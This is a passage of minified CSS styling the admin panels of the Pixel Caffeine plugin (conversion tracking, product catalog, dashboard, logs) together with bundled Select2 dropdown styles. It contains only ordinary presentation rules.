.ecomm-conversions::after { top: -40px; border-color: transparent transparent #FFF transparent; border-width: 20px 18px; margin-left: 1px; } .pixel-caffeine-wrapper .panel-settings-conversions .ecomm-conversions::before { top: -42px; border-color: transparent transparent #ddd transparent; border-width: 21px 19px; } .pixel-caffeine-wrapper .panel-settings-conversions .ecomm-conversions .checkbox label { margin-right: 20px; } .pixel-caffeine-wrapper .panel-settings-conversions .ecomm-conversions .checkbox { display: inline-block; } .pixel-caffeine-wrapper .panel-settings-conversions .ecomm-conversions .checkbox-material { margin-right: 5px; } .pixel-caffeine-wrapper .panel-settings-conversions .ecomm-conversions { display: none; } .pixel-caffeine-wrapper .panel-settings-conversions.detected .ecomm-detect .info { display: none; } .pixel-caffeine-wrapper .panel-settings-conversions.detected .ecomm-conversions { display: block; } .pixel-caffeine-wrapper .panel-settings-conversions.not-detected .ecomm-detect { color: #E15667; } .pixel-caffeine-wrapper .panel-settings-conversions.not-detected .ecomm-detect::before { content: "error"; font-family: "Material Icons"; font-weight: normal; font-style: normal; line-height: 1; letter-spacing: normal; text-transform: none; display: inline-block; vertical-align: middle; white-space: nowrap; word-wrap: normal; direction: ltr; -webkit-font-feature-settings: "liga"; -webkit-font-smoothing: antialiased; font-size: 2.5em; margin-right: 10px; } .pixel-caffeine-wrapper .panel-settings-conversions .ecomm-plugin-logo img { max-width: 130px; max-height: 70px; } .pixel-caffeine-wrapper .panel-settings-conversions .sub-panel-supported-plugin .tit, .pixel-caffeine-wrapper .panel-settings-conversions .sub-panel-supported-plugin .list-supported-plugin { display: inline-block; vertical-align: middle; } .pixel-caffeine-wrapper .panel-settings-conversions .sub-panel-supported-plugin .list-supported-plugin { margin-bottom: 0; margin-left: 5px; } .pixel-caffeine-wrapper .panel-settings-conversions .sub-panel-supported-plugin .list-supported-plugin .item { display: inline-block; margin-right: 10px; margin-bottom: 0; -webkit-transition: -webkit-transform 0.2s ease-in-out; transition: -webkit-transform 0.2s ease-in-out; -o-transition: -o-transform 0.2s ease-in-out; transition: transform 0.2s ease-in-out; transition: transform 0.2s ease-in-out, -webkit-transform 0.2s ease-in-out, -o-transform 0.2s ease-in-out; } .pixel-caffeine-wrapper .panel-settings-conversions .sub-panel-supported-plugin .list-supported-plugin .item:hover { -webkit-transform: scale(1.1); -o-transform: scale(1.1); transform: scale(1.1); } .pixel-caffeine-wrapper .panel-settings-conversions .sub-panel-supported-plugin .list-supported-plugin .ecomm-plugin-logo { display: block; } .pixel-caffeine-wrapper .panel-advanced-settings .panel-heading { padding: 0; } .pixel-caffeine-wrapper .panel-advanced-settings .panel-heading .tit { display: block; width: 100%; position: relative; font-size: 15.6px; margin-top: 0; padding: 10px 15px; font-weight: 700; } .pixel-caffeine-wrapper .panel-advanced-settings .panel-heading .tit:hover, .pixel-caffeine-wrapper .panel-advanced-settings .panel-heading .tit:focus { text-decoration: none; } .pixel-caffeine-wrapper .panel-advanced-settings .panel-heading .tit:focus { outline: none; -webkit-box-shadow: none; box-shadow: none; } .pixel-caffeine-wrapper .panel-advanced-settings .panel-heading .tit:before { position: relative; top: 0.07em; content: "chevron_right"; font-family: "Material Icons"; font-weight: normal; font-style: normal; line-height: 1; letter-spacing: normal; text-transform: none; display: inline-block; vertical-align: middle; white-space: nowrap; word-wrap: normal; direction: ltr; -webkit-font-feature-settings: "liga"; -webkit-font-smoothing: antialiased; margin-right: 10px; color: #a1b4dc; font-size: 1.7em; -webkit-transition: all 0.3s ease-out; -o-transition: all 0.3s ease-out; transition: all 0.3s ease-out; } .pixel-caffeine-wrapper .panel-advanced-settings .panel-heading .tit:not(.collapsed)::before { -webkit-transform: rotate(90deg); -o-transform: rotate(90deg); transform: rotate(90deg); } .pixel-caffeine-wrapper .panel-advanced-settings .checkbox.with-form-control { margin-bottom: 0; } .pixel-caffeine-wrapper .panel-advanced-settings .checkbox.with-form-control .form-control { margin-left: 10px; margin-bottom: 0; } .pixel-caffeine-wrapper .panel-advanced-settings .checkbox.with-form-control .checkbox-material { top: 0.5em; } .pixel-caffeine-wrapper .panel-advanced-settings .sub-panel + .sub-panel { border-top: 1px solid #ddd; padding-top: 15px; margin-top: 15px; } .pixel-caffeine-wrapper .panel-advanced-settings .sub-panel .text { display: block; } .pixel-caffeine-wrapper .panel-advanced-settings .form-group-btn-single .control-wrap { display: -webkit-box; display: -ms-flexbox; display: flex; -ms-flex-align: center; -webkit-box-align: center; align-items: center; margin-bottom: 10px; } .pixel-caffeine-wrapper .panel-advanced-settings .form-group-btn-single .btn { margin: 0 10px 0 0; } .pixel-caffeine-wrapper .panel-advanced-settings label { width: 100%; } .pixel-caffeine-wrapper .panel-advanced-settings .select2-container-multi { margin: 0; } .pixel-caffeine-wrapper .panel-ce-tracking .panel-heading .tit::before { content: "track_changes"; font-family: "Material Icons"; font-weight: normal; font-style: normal; line-height: 1; letter-spacing: normal; text-transform: none; display: inline-block; vertical-align: middle; white-space: nowrap; word-wrap: normal; direction: ltr; -webkit-font-feature-settings: "liga"; -webkit-font-smoothing: antialiased; } .pixel-caffeine-wrapper .panel-ce-tracking .panel-footer { text-align: center; } .pixel-caffeine-wrapper .panel-ce-tracking .table { margin-bottom: 0; } .pixel-caffeine-wrapper .panel-ce-tracking .table .name { width: 200px; font-weight: bold; } .pixel-caffeine-wrapper .panel-ce-tracking .table .trigger { white-space: nowrap; } @media screen and (min-width: 1199px) { .pixel-caffeine-wrapper .panel-ce-tracking .table .name { width: auto; } } .pixel-caffeine-wrapper .panel-ce-tracking .code-sample { display: block; } .pixel-caffeine-wrapper .panel-ce-tracking .code-copy, .pixel-caffeine-wrapper .panel-ce-tracking .show-code { margin-top: 5px; display: inline-block; font-size: 12px; font-weight: 600; text-transform: uppercase; } .pixel-caffeine-wrapper .panel-ce-new .panel-heading .tit::before { content: "track_changes"; font-family: "Material Icons"; font-weight: normal; font-style: normal; line-height: 1; letter-spacing: normal; text-transform: none; display: inline-block; vertical-align: middle; white-space: nowrap; word-wrap: normal; direction: ltr; -webkit-font-feature-settings: "liga"; -webkit-font-smoothing: antialiased; } .pixel-caffeine-wrapper .intro-dashboard { display: -webkit-box; display: -ms-flexbox; display: flex; position: relative; } .pixel-caffeine-wrapper .intro-dashboard .tit { font-size: 36px; text-transform: uppercase; } .pixel-caffeine-wrapper .intro-dashboard p { font-size: 18px; } .pixel-caffeine-wrapper .intro-dashboard .jumbotron-body { margin: auto; } .pixel-caffeine-wrapper .intro-dashboard .jumbotron-body .btn { padding: 16px 30px; margin: 20px 0 0; white-space: normal; font-size: 2em; } .pixel-caffeine-wrapper .intro-dashboard .jumbotron-body .btn::before { font-size: 1.5em; } @media screen and (min-width: 768px) { .pixel-caffeine-wrapper .intro-dashboard .jumbotron-body .btn.btn-block { width: auto; display: inline-block; } } .pixel-caffeine-wrapper .intro-product-catalog { background-color: #F2F4FA; background-image: url(prd-catalog-pattern.png); background-repeat: repeat; background-size: auto; } .pixel-caffeine-wrapper .intro-product-catalog .calltoact .btn { font-size: 16px; } .pixel-caffeine-wrapper .intro-product-catalog .actions { margin-top: 20px; } .pixel-caffeine-wrapper .intro-product-catalog .actions a { font-size: 14px; } @media screen and (min-width: 992px) { .pixel-caffeine-wrapper .intro-dude { min-height: 400px; padding-right: 300px; } .pixel-caffeine-wrapper .intro-dude::before { content: ""; position: absolute; bottom: 0; right: 0; display: block; width: 300px; height: 100%; background-size: contain; } } @media screen and (min-width: 992px) { .pixel-caffeine-wrapper .intro-dude.dude-config::before { background: url(walter-dashboard-config.png) no-repeat 50% 50%; background-size: contain; } } .pixel-caffeine-wrapper .intro-dude.dude-prd-catalog { padding: 35px; } @media screen and (min-width: 992px) { .pixel-caffeine-wrapper .intro-dude.dude-prd-catalog { min-height: 400px; padding-right: 400px; } .pixel-caffeine-wrapper .intro-dude.dude-prd-catalog::before { background: url(walter-prd-catalog.png) no-repeat 50% 50%; background-size: contain; width: 400px; } } .pixel-caffeine-wrapper .box-features { margin-top: 50px; text-align: center; } .pixel-caffeine-wrapper .box-features .tit { text-transform: uppercase; } .pixel-caffeine-wrapper .list-features { display: -webkit-box; display: -ms-flexbox; display: flex; -ms-flex-wrap: wrap; flex-wrap: wrap; } .pixel-caffeine-wrapper .list-features .feature { -webkit-box-flex: 0 0 33.33%; -ms-flex: 0 0 33.33%; flex: 0 0 33.33%; margin: 30px 0; } .pixel-caffeine-wrapper .list-features .feature .feature-icon { display: block; background: #CCC; width: 100px; height: 100px; line-height: 100px; border-radius: 100%; margin: 0 auto 16px; text-align: center; font-size: 4.5em; color: #FFF; } .pixel-caffeine-wrapper .list-features .feature:nth-child(3n+1) { padding-right: 20px; } .pixel-caffeine-wrapper .list-features .feature:nth-child(3n+2) { padding-left: 10px; padding-right: 10px; } .pixel-caffeine-wrapper .list-features .feature:nth-child(3n+3) { padding-left: 20px; } .pixel-caffeine-wrapper .panel-dashboard-main { position: relative; } .pixel-caffeine-wrapper .panel-dashboard-main .panel-heading .tit::before { content: "tune"; font-family: "Material Icons"; font-weight: normal; font-style: normal; line-height: 1; letter-spacing: normal; text-transform: none; display: inline-block; vertical-align: middle; white-space: nowrap; word-wrap: normal; direction: ltr; -webkit-font-feature-settings: "liga"; -webkit-font-smoothing: antialiased; } .pixel-caffeine-wrapper .panel-dashboard-main .panel-body .data { padding-right: 0; text-align: left; } .pixel-caffeine-wrapper .panel-dashboard-main .panel-body .btn-settings { width: 100%; margin: 0; } .pixel-caffeine-wrapper .panel-dashboard-main .panel-body .data-group-pixel .value { word-break: break-all; } @media screen and (min-width: 480px) { .pixel-caffeine-wrapper .panel-dashboard-main .panel-body { display: -webkit-box; display: -ms-flexbox; display: flex; -ms-flex-wrap: wrap; flex-wrap: wrap; } .pixel-caffeine-wrapper .panel-dashboard-main .panel-body .data-group { -webkit-box-flex: 0 0 50%; -ms-flex: 0 0 50%; flex: 0 0 50%; } .pixel-caffeine-wrapper .panel-dashboard-main .panel-body .data-group .data { width: auto; } .pixel-caffeine-wrapper .panel-dashboard-main .panel-body .data-group .value { width: auto; } .pixel-caffeine-wrapper .panel-dashboard-main .panel-body .data-group-pixel { -webkit-box-flex: 0 0 100%; -ms-flex: 0 0 100%; flex: 0 0 100%; } } @media screen and (min-width: 768px) { .pixel-caffeine-wrapper .panel-dashboard-main .panel-body .btn-settings { position: absolute; top: 10px; right: 15px; width: auto; } } .pixel-caffeine-wrapper .panel-dashboard-main .data-group { padding-bottom: 20px; } .pixel-caffeine-wrapper .panel-dashboard-main .status .value { text-transform: uppercase; font-weight: bold; } .pixel-caffeine-wrapper .panel-dashboard-main .status .value .value-info { position: relative; padding-right: 35px; } .pixel-caffeine-wrapper .panel-dashboard-main .status .value .value-info::after { position: absolute; top: 50%; margin-top: -15px; right: 0; width: 30px; line-height: 30px; font-size: 2em; margin-left: 10px; } .pixel-caffeine-wrapper .panel-dashboard-main .status.active .value-info { color: #68AA20; } .pixel-caffeine-wrapper .panel-dashboard-main .status.active .value-info::after { content: "check"; font-family: "Material Icons"; font-weight: normal; font-style: normal; line-height: 1; letter-spacing: normal; text-transform: none; display: inline-block; vertical-align: middle; white-space: nowrap; word-wrap: normal; direction: ltr; -webkit-font-feature-settings: "liga"; -webkit-font-smoothing: antialiased; } .pixel-caffeine-wrapper .panel-dashboard-main .status.inactive .value-info { color: #E15667; } .pixel-caffeine-wrapper .panel-dashboard-main .status.inactive .value-info::after { content: "close"; font-family: "Material Icons"; font-weight: normal; font-style: normal; line-height: 1; letter-spacing: normal; text-transform: none; display: inline-block; vertical-align: middle; white-space: nowrap; word-wrap: normal; direction: ltr; -webkit-font-feature-settings: "liga"; -webkit-font-smoothing: antialiased; } .pixel-caffeine-wrapper .panel-dashboard-activity .panel-heading .tit::before { content: "graphic_eq"; font-family: "Material Icons"; font-weight: normal; font-style: normal; line-height: 1; letter-spacing: normal; text-transform: none; display: inline-block; vertical-align: middle; white-space: nowrap; word-wrap: normal; direction: ltr; -webkit-font-feature-settings: "liga"; -webkit-font-smoothing: antialiased; } .pixel-caffeine-wrapper .panel-prd-catalog .panel-heading .tit::before { content: "developer_board"; font-family: "Material Icons"; font-weight: normal; font-style: normal; line-height: 1; letter-spacing: normal; text-transform: none; display: inline-block; vertical-align: middle; white-space: nowrap; word-wrap: normal; direction: ltr; -webkit-font-feature-settings: "liga"; -webkit-font-smoothing: antialiased; } .pixel-caffeine-wrapper .panel-prd-catalog .sub-panel-box { background-color: whitesmoke; padding: 15px; margin-bottom: 20px; } .pixel-caffeine-wrapper .panel-prd-catalog .sub-panel-box:before, .pixel-caffeine-wrapper .panel-prd-catalog .sub-panel-box:after { display: table; content: " "; } .pixel-caffeine-wrapper .panel-prd-catalog .sub-panel-box:after { clear: both; } .pixel-caffeine-wrapper .panel-prd-catalog .sub-panel-box .tit { text-transform: uppercase; margin-bottom: 20px; } .pixel-caffeine-wrapper .panel-prd-catalog .sub-panel-box .sub-tit { text-transform: none; font-size: 20px; } .pixel-caffeine-wrapper .panel-prd-catalog .sub-panel-box .radio { text-align: left; margin-right: 15px; } .pixel-caffeine-wrapper .panel-prd-catalog .sub-panel-box .control-wrap, .pixel-caffeine-wrapper .panel-prd-catalog .sub-panel-box .sub-form-group, .pixel-caffeine-wrapper .panel-prd-catalog .sub-panel-box .panel-body { padding: 0; } .pixel-caffeine-wrapper .panel-prd-catalog .sub-panel-box .panel { background-color: #fff; padding: 30px; -webkit-box-shadow: 0 1px 6px 0 rgba(0, 0, 0, 0.12), 0 1px 6px 0 rgba(0, 0, 0, 0.12); box-shadow: 0 1px 6px 0 rgba(0, 0, 0, 0.12), 0 1px 6px 0 rgba(0, 0, 0, 0.12); } .pixel-caffeine-wrapper .panel-prd-catalog .sub-panel-box .panel .multiple-fields-inline { margin: 10px 0; } .pixel-caffeine-wrapper .panel-prd-catalog .sub-panel-box .panel .multiple-fields-inline:last-child { margin: 0; } .pixel-caffeine-wrapper .panel-prd-catalog .sub-panel-box .panel .multiple-fields-inline:last-child .control-label, .pixel-caffeine-wrapper .panel-prd-catalog .sub-panel-box .panel .multiple-fields-inline:last-child .control-wrap { margin-top: 10px; } .pixel-caffeine-wrapper .panel-prd-catalog .sub-panel-box .panel .multiple-fields-inline:first-child { margin-top: 0; } .pixel-caffeine-wrapper .panel-prd-catalog .sub-panel-box .panel .multiple-fields-inline:first-child .form-control { margin-top: 0; } .pixel-caffeine-wrapper .panel-prd-catalog .new-fb-catalog .form-control { width: 100%; } .pixel-caffeine-wrapper .panel-prd-catalog .new-fb-catalog .control-label { width: auto; text-align: left; } .pixel-caffeine-wrapper .panel-prd-catalog .advanced-options .sub-tit:first-child { margin-top: 0; } .pixel-caffeine-wrapper .panel-prd-catalog .panel-footer { background-color: #fff; margin-top: 0px; margin-right: -15px; margin-bottom: -15px; margin-left: -15px; } .pixel-caffeine-wrapper .panel-prd-catalog .toggle-sub-panel .control-wrap { display: -webkit-box; display: -ms-flexbox; display: flex; padding-top: 7px; } .pixel-caffeine-wrapper .panel-feed-created .panel-heading .tit::before { content: "developer_board"; font-family: "Material Icons"; font-weight: normal; font-style: normal; line-height: 1; letter-spacing: normal; text-transform: none; display: inline-block; vertical-align: middle; white-space: nowrap; word-wrap: normal; direction: ltr; -webkit-font-feature-settings: "liga"; -webkit-font-smoothing: antialiased; } .pixel-caffeine-wrapper .panel-feed-created.form-horizontal .data-group .data { width: auto; margin-bottom: 0; padding-right: 0; padding-left: 0; } @media screen and (min-width: 992px) { .pixel-caffeine-wrapper .panel-feed-created.form-horizontal .data-group .data { padding-left: 15px; } } .pixel-caffeine-wrapper .panel-feed-created.form-horizontal .data-group .btn { margin-top: 0; margin-bottom: 0; } .pixel-caffeine-wrapper .panel-feed-created.form-horizontal .data-group.with-actions .data, .pixel-caffeine-wrapper .panel-feed-created.form-horizontal .data-group.with-actions .value { display: inline-block; float: none; } .pixel-caffeine-wrapper .panel-feed-created.form-horizontal .data-group.with-actions .value-info { margin-right: 15px; } .pixel-caffeine-wrapper .panel-feed-created.form-horizontal .data-group.with-actions .value-info.text-status-pending a, .pixel-caffeine-wrapper .panel-feed-created.form-horizontal .data-group.with-actions .value-info.text-danger a { color: inherit; border-bottom-style: dotted; border-bottom-width: 1px; } .pixel-caffeine-wrapper .panel-feed-created.form-horizontal .data-group.with-actions .value-info.text-status-pending a:hover, .pixel-caffeine-wrapper .panel-feed-created.form-horizontal .data-group.with-actions .value-info.text-danger a:hover { border-bottom: 0; } .pixel-caffeine-wrapper .panel-feed-created.form-horizontal .actions { display: inline-block; } .pixel-caffeine-wrapper .panel-feed-created.form-horizontal .multiple-fields-inline .btn { margin-top: 0; margin-bottom: 0; } .pixel-caffeine-wrapper .panel-feed-created.form-horizontal .value { width: auto; display: inline-block; padding-left: 0; } @media screen and (min-width: 992px) { .pixel-caffeine-wrapper .panel-feed-created.form-horizontal .value { float: left; padding-left: 15px; } } .pixel-caffeine-wrapper .panel-feed-created.panel .prd-feed-number { font-weight: 600; } .pixel-caffeine-wrapper .panel-feed-created .form-group .set-refresh { padding-right: 15px; padding-left: 15px; } @media screen and (min-width: 992px) { .pixel-caffeine-wrapper .panel-feed-created .form-group .set-refresh { padding: 0; } } .pixel-caffeine-wrapper .panel-feed-created .url-feed-alert.loading-data::after { color: #444; font-size: 24px; } .pixel-caffeine-wrapper .panel-feed-created .multiple-fields-inline small { margin: 0 10px; } .pixel-caffeine-wrapper .panel-feed-created .data-group-main .data, .pixel-caffeine-wrapper .panel-feed-created .data-group-main .value { font-size: 16px; } .pixel-caffeine-wrapper .panel-feed-created hr:first-child { margin-top: 0; } .pixel-caffeine-wrapper .upgraded-product-catalog { padding: 15px; } .pixel-caffeine-wrapper .upgraded-product-catalog .jumbotron-body { margin: 0px; } .pixel-caffeine-wrapper .upgraded-product-catalog .tit { font-size: 26px; text-transform: uppercase; } .pixel-caffeine-wrapper .upgraded-product-catalog p { font-size: 16px; } .pixel-caffeine-wrapper .upgraded-product-catalog.dude-prd-catalog { min-height: 1px; padding: 15px; } @media screen and (min-width: 992px) { .pixel-caffeine-wrapper .upgraded-product-catalog.dude-prd-catalog { min-height: 3; padding-right: 300px; } .pixel-caffeine-wrapper .upgraded-product-catalog.dude-prd-catalog::before { background: url(walter-prd-catalog.png) no-repeat 50% 50%; background-size: contain; width: 300px; } } .pixel-caffeine-wrapper .panel-log-list .panel-heading .tit::before { content: "assignment"; font-family: "Material Icons"; font-weight: normal; font-style: normal; line-height: 1; letter-spacing: normal; text-transform: none; display: inline-block; vertical-align: middle; white-space: nowrap; word-wrap: normal; direction: ltr; -webkit-font-feature-settings: "liga"; -webkit-font-smoothing: antialiased; } .pixel-caffeine-wrapper .panel-log-list .panel-footer { text-align: center; } .pixel-caffeine-wrapper .panel-log-list .table { margin-bottom: 0; } .pixel-caffeine-wrapper .panel-log-list .table .name { max-width: 500px; font-weight: 600; } .pixel-caffeine-wrapper .panel-log-list .table .name .info-extra { font-weight: normal; } @media screen and (min-width: 1199px) { .pixel-caffeine-wrapper .panel-log-list .table .name { width: auto; } } .pixel-caffeine { /* Version: 3.5.4 Timestamp: Sun Aug 30 13:30:32 EDT 2015 */ /* results */ /* disabled look for disabled choices in the results dropdown */ /* disabled styles */ /* multiselect */ /* disabled styles */ /* end multiselect */ /* Retina-ize icons */ } .pixel-caffeine .select2-container { margin: 0; position: relative; display: inline-block; vertical-align: middle; } .pixel-caffeine .select2-container, .pixel-caffeine .select2-drop, .pixel-caffeine .select2-search, .pixel-caffeine .select2-search input { /* Force border-box so that % widths fit the parent container without overlap because of margin/padding. More Info : http://www.quirksmode.org/css/box.html */ -webkit-box-sizing: border-box; /* webkit */ /* firefox */ box-sizing: border-box; /* css3 */ } .pixel-caffeine .select2-container .select2-choice { display: block; height: 26px; padding: 0 0 0 8px; overflow: hidden; position: relative; border: 1px solid #aaa; white-space: nowrap; line-height: 26px; color: #444; text-decoration: none; border-radius: 4px; background-clip: padding-box; -webkit-touch-callout: none; -webkit-user-select: none; -moz-user-select: none; -ms-user-select: none; user-select: none; background-color: #fff; background-image: -webkit-gradient(linear, left bottom, left top, color-stop(0, #eee), color-stop(0.5, #fff)); background-image: -webkit-linear-gradient(center bottom, #eee 0%, #fff 50%); background-image: -moz-linear-gradient(center bottom, #eee 0%, #fff 50%); filter: progid:DXImageTransform.Microsoft.gradient(startColorstr = "#ffffff", endColorstr = "#eeeeee", GradientType = 0); background-image: -webkit-gradient(linear, left bottom, left top, from(#eee), color-stop(50%, #fff)); background-image: -webkit-linear-gradient(bottom, #eee 0%, #fff 50%); background-image: -o-linear-gradient(bottom, #eee 0%, #fff 50%); background-image: linear-gradient(to top, #eee 0%, #fff 50%); } .pixel-caffeine html[dir=rtl] .select2-container .select2-choice { padding: 0 8px 0 0; } .pixel-caffeine .select2-container.select2-drop-above .select2-choice { border-bottom-color: #aaa; border-radius: 0 0 4px 4px; background-image: -webkit-gradient(linear, left bottom, left top, color-stop(0, #eee), color-stop(0.9, #fff)); background-image: -webkit-linear-gradient(center bottom, #eee 0%, #fff 90%); background-image: -moz-linear-gradient(center bottom, #eee 0%, #fff 90%); filter: progid:DXImageTransform.Microsoft.gradient(startColorstr="#ffffff", endColorstr="#eeeeee", GradientType=0); background-image: -webkit-gradient(linear, left top, left bottom, from(#eee), color-stop(90%, #fff)); background-image: -webkit-linear-gradient(top, #eee 0%, #fff 90%); background-image: -o-linear-gradient(top, #eee 0%, #fff 90%); background-image: linear-gradient(to bottom, #eee 0%, #fff 90%); } .pixel-caffeine .select2-container.select2-allowclear .select2-choice .select2-chosen { margin-right: 42px; } .pixel-caffeine .select2-container .select2-choice > .select2-chosen { margin-right: 26px; display: block; overflow: hidden; white-space: nowrap; text-overflow: ellipsis; float: none; width: auto; } .pixel-caffeine html[dir=rtl] .select2-container .select2-choice > .select2-chosen { margin-left: 26px; margin-right: 0; } .pixel-caffeine .select2-container .select2-choice abbr { display: none; width: 12px; height: 12px; position: absolute; right: 24px; top: 8px; font-size: 1px; text-decoration: none; border: 0; background: url(select2.png) right top no-repeat; cursor: pointer; outline: 0; } .pixel-caffeine .select2-container.select2-allowclear .select2-choice abbr { display: inline-block; } .pixel-caffeine .select2-container .select2-choice abbr:hover { background-position: right -11px; cursor: pointer; } .pixel-caffeine .select2-drop-mask { border: 0; margin: 0; padding: 0; position: fixed; left: 0; top: 0; min-height: 100%; min-width: 100%; height: auto; width: auto; opacity: 0; z-index: 9998; /* styles required for IE to work */ background-color: #fff; filter: alpha(opacity=0); } .pixel-caffeine .select2-drop { width: 100%; margin-top: -1px; position: absolute; z-index: 9999; top: 100%; background: #fff; color: #000; border: 1px solid #aaa; border-top: 0; border-radius: 0 0 4px 4px; -webkit-box-shadow: 0 4px 5px rgba(0, 0, 0, 0.15); box-shadow: 0 4px 5px rgba(0, 0, 0, 0.15); } .pixel-caffeine .select2-drop.select2-drop-above { margin-top: 1px; border-top: 1px solid #aaa; border-bottom: 0; border-radius: 4px 4px 0 0; -webkit-box-shadow: 0 -4px 5px rgba(0, 0, 0, 0.15); box-shadow: 0 -4px 5px rgba(0, 0, 0, 0.15); } .pixel-caffeine .select2-drop-active { border: 1px solid #5897fb; border-top: none; } .pixel-caffeine .select2-drop.select2-drop-above.select2-drop-active { border-top: 1px solid #5897fb; } .pixel-caffeine .select2-drop-auto-width { border-top: 1px solid #aaa; width: auto; } .pixel-caffeine .select2-container .select2-choice .select2-arrow { display: inline-block; width: 18px; height: 100%; position: absolute; right: 0; top: 0; border-left: 1px solid #aaa; border-radius: 0 4px 4px 0; background-clip: padding-box; background: #ccc; background-image: -webkit-gradient(linear, left bottom, left top, color-stop(0, #ccc), color-stop(0.6, #eee)); background-image: -webkit-linear-gradient(center bottom, #ccc 0%, #eee 60%); background-image: -moz-linear-gradient(center bottom, #ccc 0%, #eee 60%); filter: progid:DXImageTransform.Microsoft.gradient(startColorstr = "#eeeeee", endColorstr = "#cccccc", GradientType = 0); background-image: -webkit-gradient(linear, left bottom, left top, from(#ccc), color-stop(60%, #eee)); background-image: -webkit-linear-gradient(bottom, #ccc 0%, #eee 60%); background-image: -o-linear-gradient(bottom, #ccc 0%, #eee 60%); background-image: linear-gradient(to top, #ccc 0%, #eee 60%); } .pixel-caffeine html[dir=rtl] .select2-container .select2-choice .select2-arrow { left: 0; right: auto; border-left: none; border-right: 1px solid #aaa; border-radius: 4px 0 0 4px; } .pixel-caffeine .select2-container .select2-choice .select2-arrow b { display: block; width: 100%; height: 100%; background: url(select2.png) no-repeat 0 1px; } .pixel-caffeine html[dir=rtl] .select2-container .select2-choice .select2-arrow b { background-position: 2px 1px; } .pixel-caffeine .select2-search { display: inline-block; width: 100%; min-height: 26px; margin: 0; padding: 4px 4px 0 4px; position: relative; z-index: 10000; white-space: nowrap; } .pixel-caffeine .select2-search input { width: 100%; height: auto !important; min-height: 26px; padding: 4px 20px 4px 5px; margin: 0; outline: 0; font-family: sans-serif; font-size: 1em; border: 1px solid #aaa; border-radius: 0; -webkit-box-shadow: none; box-shadow: none; background: #fff url(select2.png) no-repeat 100% -22px; background: url(select2.png) no-repeat 100% -22px, -webkit-gradient(linear, left bottom, left top, color-stop(0.85, #fff), color-stop(0.99, #eee)); background: url(select2.png) no-repeat 100% -22px, -webkit-linear-gradient(center bottom, #fff 85%, #eee 99%); background: url(select2.png) no-repeat 100% -22px, -webkit-gradient(linear, left top, left bottom, color-stop(85%, #fff), color-stop(99%, #eee)) 0 0; background: url(select2.png) no-repeat 100% -22px, -webkit-linear-gradient(top, #fff 85%, #eee 99%) 0 0; background: url(select2.png) no-repeat 100% -22px, -o-linear-gradient(top, #fff 85%, #eee 99%) 0 0; background: url(select2.png) no-repeat 100% -22px, linear-gradient(to bottom, #fff 85%, #eee 99%) 0 0; } .pixel-caffeine html[dir=rtl] .select2-search input { padding: 4px 5px 4px 20px; background: #fff url(select2.png) no-repeat -37px -22px; background: url(select2.png) no-repeat -37px -22px, -webkit-gradient(linear, left bottom, left top, color-stop(0.85, #fff), color-stop(0.99, #eee)); background: url(select2.png) no-repeat -37px -22px, -webkit-linear-gradient(center bottom, #fff 85%, #eee 99%); background: url(select2.png) no-repeat -37px -22px, -webkit-gradient(linear, left top, left bottom, color-stop(85%, #fff), color-stop(99%, #eee)) 0 0; background: url(select2.png) no-repeat -37px -22px, -webkit-linear-gradient(top, #fff 85%, #eee 99%) 0 0; background: url(select2.png) no-repeat -37px -22px, -o-linear-gradient(top, #fff 85%, #eee 99%) 0 0; background: url(select2.png) no-repeat -37px -22px, linear-gradient(to bottom, #fff 85%, #eee 99%) 0 0; } .pixel-caffeine .select2-search input.select2-active { background: #fff url(select2-spinner.gif) no-repeat 100%; background: url(select2-spinner.gif) no-repeat 100%, -webkit-gradient(linear, left bottom, left top, color-stop(0.85, #fff), color-stop(0.99, #eee)); background: url(select2-spinner.gif) no-repeat 100%, -webkit-linear-gradient(center bottom, #fff 85%, #eee 99%); background: url(select2-spinner.gif) no-repeat 100%, -webkit-gradient(linear, left top, left bottom, color-stop(85%, #fff), color-stop(99%, #eee)) 0 0; background: url(select2-spinner.gif) no-repeat 100%, -webkit-linear-gradient(top, #fff 85%, #eee 99%) 0 0; background: url(select2-spinner.gif) no-repeat 100%, -o-linear-gradient(top, #fff 85%, #eee 99%) 0 0; background: url(select2-spinner.gif) no-repeat 100%, linear-gradient(to bottom, #fff 85%, #eee 99%) 0 0; } .pixel-caffeine .select2-container-active .select2-choice, .pixel-caffeine .select2-container-active .select2-choices { border: 1px solid #5897fb; outline: none; -webkit-box-shadow: 0 0 5px rgba(0, 0, 0, 0.3); box-shadow: 0 0 5px rgba(0, 0, 0, 0.3); } .pixel-caffeine .select2-dropdown-open .select2-choice { border-bottom-color: transparent; -webkit-box-shadow: 0 1px 0 #fff inset; box-shadow: 0 1px 0 #fff inset; border-bottom-left-radius: 0; border-bottom-right-radius: 0; background-color: #eee; background-image: -webkit-gradient(linear, left bottom, left top, color-stop(0, #fff), color-stop(0.5, #eee)); background-image: -webkit-linear-gradient(center bottom, #fff 0%, #eee 50%); background-image: -moz-linear-gradient(center bottom, #fff 0%, #eee 50%); filter: progid:DXImageTransform.Microsoft.gradient(startColorstr="#eeeeee", endColorstr="#ffffff", GradientType=0); background-image: -webkit-gradient(linear, left bottom, left top, from(#fff), color-stop(50%, #eee)); background-image: -webkit-linear-gradient(bottom, #fff 0%, #eee 50%); background-image: -o-linear-gradient(bottom, #fff 0%, #eee 50%); background-image: linear-gradient(to top, #fff 0%, #eee 50%); } .pixel-caffeine .select2-dropdown-open.select2-drop-above .select2-choice, .pixel-caffeine .select2-dropdown-open.select2-drop-above .select2-choices { border: 1px solid #5897fb; border-top-color: transparent; background-image: -webkit-gradient(linear, left top, left bottom, color-stop(0, #fff), color-stop(0.5, #eee)); background-image: -webkit-linear-gradient(center top, #fff 0%, #eee 50%); background-image: -moz-linear-gradient(center top, #fff 0%, #eee 50%); filter: progid:DXImageTransform.Microsoft.gradient(startColorstr="#eeeeee", endColorstr="#ffffff", GradientType=0); background-image: -webkit-gradient(linear, left top, left bottom, from(#fff), color-stop(50%, #eee)); background-image: -webkit-linear-gradient(top, #fff 0%, #eee 50%); background-image: -o-linear-gradient(top, #fff 0%, #eee 50%); background-image: linear-gradient(to bottom, #fff 0%, #eee 50%); } .pixel-caffeine .select2-dropdown-open .select2-choice .select2-arrow { background: transparent; border-left: none; -webkit-filter: none; filter: none; } .pixel-caffeine html[dir=rtl] .select2-dropdown-open .select2-choice .select2-arrow { border-right: none; } .pixel-caffeine .select2-dropdown-open .select2-choice .select2-arrow b { background-position: -18px 1px; } .pixel-caffeine html[dir=rtl] .select2-dropdown-open .select2-choice .select2-arrow b { background-position: -16px 1px; } .pixel-caffeine .select2-hidden-accessible { border: 0; clip: rect(0 0 0 0); 